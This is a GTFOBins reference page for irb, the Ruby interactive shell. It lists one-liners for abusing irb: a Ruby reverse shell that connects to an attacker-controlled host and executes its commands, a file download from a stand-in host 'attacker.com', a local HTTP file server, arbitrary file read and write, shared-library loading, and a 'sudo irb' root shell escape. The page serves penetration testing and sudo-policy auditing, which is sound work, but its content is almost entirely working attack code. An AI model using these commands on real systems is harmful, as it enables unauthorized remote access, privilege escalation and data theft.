GTFOBins.github.io/_gtfobins/irb.md

1.2 KiB

functions
shell reverse-shell file-upload file-download file-write file-read library-load sudo
code
irb exec '/bin/bash'
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST='127.0.0.1' export RPORT=9000 irb require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end
description code
Serve files in the local folder running an HTTP server on port 8888. irb require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;
description code
Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get export LFILE=file_to_save irb require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])
code
irb File.open("file_to_write", "w+") { |f| f.write("DATA") }
code
irb puts File.read("file_to_read")
code
irb require "fiddle"; Fiddle.dlopen("lib.so")
code
sudo irb exec '/bin/bash'